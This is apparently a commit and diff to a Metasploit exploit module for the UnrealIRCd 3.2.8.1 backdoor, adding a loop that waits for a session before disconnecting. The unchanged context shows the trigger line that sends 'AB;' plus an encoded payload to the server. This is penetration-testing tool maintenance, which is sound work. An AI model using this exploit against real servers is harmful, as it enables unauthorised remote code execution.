Fixes unreal ircd race condition

Handler would exit before finishing staging

modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb

@@ -73,7 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
 		print_status("Sending backdoor command...")
 		sock.put("AB;" + payload.encoded + "\n")
 
-		handler
+		# Wait for the request to be handled
+		1.upto(120) do
+			break if session_created?
+			select(nil, nil, nil, 0.25)
+			handler()
+		end
 		disconnect
 	end
 end